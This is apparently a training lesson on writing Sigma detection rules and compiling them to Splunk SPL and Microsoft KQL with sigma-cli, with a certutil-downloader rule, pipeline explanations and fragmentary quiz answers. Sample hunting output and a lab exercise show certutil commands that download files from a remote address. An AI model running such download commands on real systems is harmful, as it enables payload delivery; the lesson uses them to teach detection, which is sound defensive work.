Sigma rules
Vendor-agnostic detections compiled to any SIEM.
Before the shipping container, every port was its own puzzle. Cargo was packed to fit one ship's hold, then unloaded and repacked by hand for the next truck. Standardize the box and any crane, ship or truck can move anything. Sigma does that for detection logic. It is an open, vendor-neutral way to write down "this event looks suspicious" once, in YAML (a plain-text format for structured settings that a person can read without special tools), and then *compile* that description into the native query language of whichever SIEM (security information and event management, the platform that stores and searches all your security logs: Splunk, Elastic, Microsoft Sentinel) you happen to run.
Why care? A detection library written directly in Splunk's SPL (Search Processing Language) is a bill you pay later. Switch SIEM and somebody rewrites hundreds of queries by hand. It also kills sharing, because a KQL (Kusto Query Language) query is dead weight to a team running Elastic. Sigma separates *what to detect* from *where to run it*. That separation is what makes rules portable across vendors, reviewable as plain text in git, and shareable with strangers on the internet, which is exactly the set of properties the previous lesson asked detection as code to deliver.
What a Sigma rule is made of
Two sections do the real work. The logsource names the telemetry the rule applies to, in Sigma's own vocabulary rather than any vendor's: a category (a class of event, such as process_creation, dns_query or file_event), a product (windows, linux, aws), and sometimes a service (cloudtrail, sysmon). The detection section holds one or more named selections, which are lists of field and value pairs, plus a condition that glues them together with and, or, not and counting words like 1 of filter_* or all of them.
Field names can carry modifiers after a pipe character, and a modifier changes how the value is compared. CommandLine|contains looks for the text anywhere in the string. Image|endswith anchors to the tail of a path. |re switches to a regular expression (a small pattern language for matching text). |cidr matches network ranges written in CIDR notation (Classless Inter-Domain Routing, the 10.0.0.0/8 way of writing a block of addresses). |all demands every listed value instead of any one of them. |windash matches -, / and the Unicode dash lookalikes that turn up in Windows arguments. |base64offset catches a string at any of the three alignments it can land on once it has been Base64-encoded. Everything else in the file is metadata your operations depend on: a stable id (a UUID, a universally unique identifier, that survives renames), a status lifecycle (experimental → test → stable), tags that map to MITRE ATT&CK techniques (ATT&CK is a public catalogue of Adversarial Tactics, Techniques and Common Knowledge, the moves attackers actually make), documented falsepositives, and a level running from informational to critical.
title: Certutil Used as a Downloaderid: 8a3d71f2-5b04-4d3e-9c1a-2f6e0b7c4d19status: testdescription: Detects certutil.exe fetching remote files, a classic living-off-the-land download (T1105).references:- https://lolbas-project.github.io/lolbas/Binaries/Certutil/author: SecOpsLogdate: 2026-07-13tags:- attack.command-and-control- attack.t1105logsource:product: windowscategory: process_creationdetection:selection:Image|endswith: '\certutil.exe'CommandLine|contains|all:- 'urlcache'- 'split'filter_deploy_agent:ParentImage|endswith: '\CcmExec.exe'condition: selection and not 1 of filter_*falsepositives:- Admins manually caching certificate revocation listslevel: high
Read the condition from the bottom up. Fire when selection matches, meaning certutil.exe ran with both urlcache and split in its command line. That is the classic living-off-the-land download, where an attacker pulls a payload using a tool Windows already ships, so no new program has to land on disk first. Then hold fire if any filter_* selection also matches. Filters are where you record local knowledge. Here it is Microsoft Configuration Manager's client agent (CcmExec.exe), software deployment that spawns certutil for perfectly boring reasons. Values match case-insensitively by default, and * and ? wildcards work inside plain strings. That is why endswith on \certutil.exe beats a bare contains: it anchors to the executable name, so nobody slips past it with a lookalike folder name.
Compiling a rule with sigma-cli
pySigma is the Python library that parses rules, transforms them and writes out queries. sigma-cli is its command-line wrapper, and the thing you will actually type. Both replaced the old sigmac compiler, which was deprecated for years and had its repository archived in 2024, so close any tutorial that still mentions it. Conversion targets arrive as plugins. A backend knows how to write queries for exactly one platform, and you install only the ones you need.
# one-time setuppip install sigma-clisigma plugin install splunksigma plugin install sysmonsigma list targets # confirm what you can compile to# Identifier Target Query Language# splunk Splunk SPL & tstats data model queries# ...# convert — repeated -p flags chain processing pipelinessigma convert -t splunk -p sysmon -p splunk_windows rules/win_certutil_downloader.yml# output (one SPL query, wrapped here for readability):# source="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1# Image="*\\certutil.exe" CommandLine="*urlcache*" CommandLine="*split*"# NOT ParentImage="*\\CcmExec.exe"
Underneath, this is a compiler with three stages, the same shape as the toolchain that turns source code into a binary. pySigma parses the YAML into an abstract syntax tree, a tree-shaped version of the detection where each branch is one comparison. Processing pipelines then rewrite that tree, pointing Sigma's generic logsource at a concrete data source and renaming fields to whatever your environment calls them. Finally the backend walks the rewritten tree and prints it as query text. The two -p flags above chain pipelines in order: sysmon turns process_creation into Sysmon Event ID 1, then splunk_windows maps that onto Splunk's source and EventCode fields.
Pipelines are where your own environment lives
That split between backend and pipeline is the idea worth keeping. Backends hold *query syntax*, which is public, stable and identical for everyone targeting that platform. Pipelines hold *your data*, which is local, drifts over time and is yours to maintain. Converting the identical rule for Microsoft's cloud EDR (endpoint detection and response, the agent that watches processes on laptops and servers) swaps both halves.
sigma plugin install kustosigma convert -t kusto -p microsoft_xdr rules/win_certutil_downloader.yml# output (one KQL query, wrapped here for readability):# DeviceProcessEvents# | where FolderPath endswith "\\certutil.exe"# and ProcessCommandLine contains "urlcache"# and ProcessCommandLine contains "split"# and not(InitiatingProcessFolderPath endswith "\\CcmExec.exe")# paste into Advanced Hunting — two hits on one workstation:# Timestamp DeviceName AccountName ProcessCommandLine# 2026-07-09 14:22:31 WKS-0142 j.alvarez certutil -urlcache -split -f http://185.220.101.4/a.dat a.dat# 2026-07-09 14:23:02 WKS-0142 j.alvarez certutil -urlcache -split -f http://185.220.101.4/rb64.txt rb64.txt
Look at what the microsoft_xdr pipeline decided on your behalf. It picked the table (DeviceProcessEvents), renamed Image to FolderPath, CommandLine to ProcessCommandLine and ParentImage to InitiatingProcessFolderPath, and it carries a transformation that drops EventID fields outright, because in Defender XDR (extended detection and response) each Advanced Hunting table already implies its event type. If your log pipeline normalizes fields some other way, say to Elastic's ECS (Elastic Common Schema, a naming convention that gives every field one agreed name), you write one small custom pipeline file, and every rule you convert afterwards inherits that mapping for free.
ParentImage, for example, when your endpoint agent does not record parent processes. The query deploys, returns zero rows forever, and every dashboard stays a comforting green. Schema drift does the same damage later: an agent upgrade renames a field and a rule that worked yesterday dies without a sound. Validate every rule you import or author against real sample logs of the behavior before you trust it, and validate it again whenever the log pipeline changes.The community ruleset: import with care
The SigmaHQ repository carries more than 3,000 curated rules covering Windows, Linux, macOS and every major cloud, which is coverage a team would need years to write from scratch. Bulk-importing the lot unchanged is a well-worn way to hurt yourself. Rules too broad for your environment bury analysts in noise, and rules that reference telemetry you never collect fail in total silence. Triage instead. Filter for status: stable or test and level: high or above, run sigma check for syntax and style problems, convert with --skip-unsupported, and stage the output through review before anything reaches production.
git clone --depth 1 https://github.com/SigmaHQ/sigma.gitsigma check sigma/rules/windows/process_creation/# === Summary ===# Found 0 errors, 0 condition errors and 12 issues.# No rule errors found.# No condition errors found.# (issue table follows: missing references, overlong titles, ...)# bulk-compile everything the backend can express; skip the restsigma convert -t kusto -p microsoft_xdr --skip-unsupported \-o compiled_process_creation.kql \sigma/rules/windows/process_creation/# rules the pipeline can't express are skipped instead of aborting the run —# diff the output against the rule list to see what fell out
Inside a detection-as-code workflow this becomes mechanical. Rules live in git. A pull request triggers sigma check plus a conversion run in CI (continuous integration, the robot that builds and tests every change automatically). The compiled queries ship to the SIEM as build artifacts. Because every rule carries ATT&CK tags, the same repository doubles as a coverage map: sigma analyze attack renders it as an ATT&CK Navigator layer, so you see your gaps per technique on a screen rather than discovering them during an incident.
What Sigma will not do for you
Sigma describes *one event at a time*. Counting, thresholds and sequences across several events belong to Sigma correlation rules, a newer part of the version 2 specification with patchy backend support, and to your SIEM's own correlation engine, which this course covers later. Backend fidelity varies too. The |re modifier does not exist for targets whose query language has no regular expressions, and in that case conversion fails loudly, which is the good outcome, instead of quietly approximating your logic, which is the bad one. --skip-unsupported trades that loud failure for throughput on bulk jobs, and that is exactly why you audit what came out against what went in.
There is a money dimension as well. Compiled Sigma leans hard on contains-style matching, which becomes an unanchored wildcard search (*urlcache*) that no index can accelerate. At tens of terabytes ingested per day, a hundred sloppy rules is a real line on a real invoice. Prefer anchored fields (endswith on image paths). Scope each rule to the narrowest logsource that still works. And treat reading your compiled SPL or KQL as a skill you are expected to have, because the generated query, not the tidy YAML above it, is what your bill and your search latency respond to.
What Sigma buys you is portability and reviewability. What it cannot tell you is whether a rule catches an attacker in *your* environment. A conversion that succeeds proves the rule speaks your SIEM's language, and nothing else. Proving that it fires, by executing the real technique and watching the alert arrive, is a discipline of its own, and it is where the next lesson on testing detections picks up.
Try this
Convert one SigmaHQ-style rule with two different pipelines and check the field names against what your SIEM actually stores. If a field is missing from a sample event, the rule is not ready.
$ sigma plugin install kusto$ sigma convert -t kusto -p microsoft_xdr rules/win_certutil_downloader.ymlDeviceProcessEvents| where FolderPath endswith "\\certutil.exe"and ProcessCommandLine contains "urlcache"and ProcessCommandLine contains "split"and not(InitiatingProcessFolderPath endswith "\\CcmExec.exe")# Paste into Advanced Hunting against a lab device where you ran:# certutil -urlcache -split -f http://127.0.0.1/test.dat test.dat# Expect a row. Zero rows means pipeline or telemetry gap — not "no attacker."
Takeaway
Remember: write the behavior once in Sigma, and let pipelines and backends make it speak your SIEM. Compilation proves syntax, never coverage. Re-validate against real samples every time fields or agents change.
Next step: pick one living-off-the-land technique you care about, author a Sigma rule for it with an explicit filter for your own deployment tooling, and convert it with the pipeline your production logs really use.
status is lifecycle metadata used for triage and filtering. It never gates execution, and an experimental rule runs exactly like a stable one.not 1 of filter_* only drops events that match a filter, like the CcmExec.exe one. It cannot suppress everything unless a filter matched every single event, which is not what the scenario describes.sigma convert -t kusto -p microsoft_xdr rules/win_certutil_downloader.yml, how is the work divided between the backend (-t) and the pipeline (-p)?microsoft_xdr is what chose the DeviceProcessEvents table and renamed Image to FolderPath. The kusto backend only knows how to write valid KQL.-p flags chain pipelines, like -p sysmon -p splunk_windows, and each one rewrites the tree before the backend ever sees it.sigma check does, and neither component decides what is safe to deploy. That call belongs to your review process.sigma convert -t kusto -p microsoft_xdr --skip-unsupported -o compiled_process_creation.kql .... The command finishes with no errors and writes the output file. What do you do first?--skip-unsupported is precisely the flag that turns a hard failure into a silent skip. A clean exit tells you the run finished, not that every rule made it into the file.status is triage metadata and never gates execution, so editing it changes nothing about whether a query runs. It only misleads the next person who filters on it.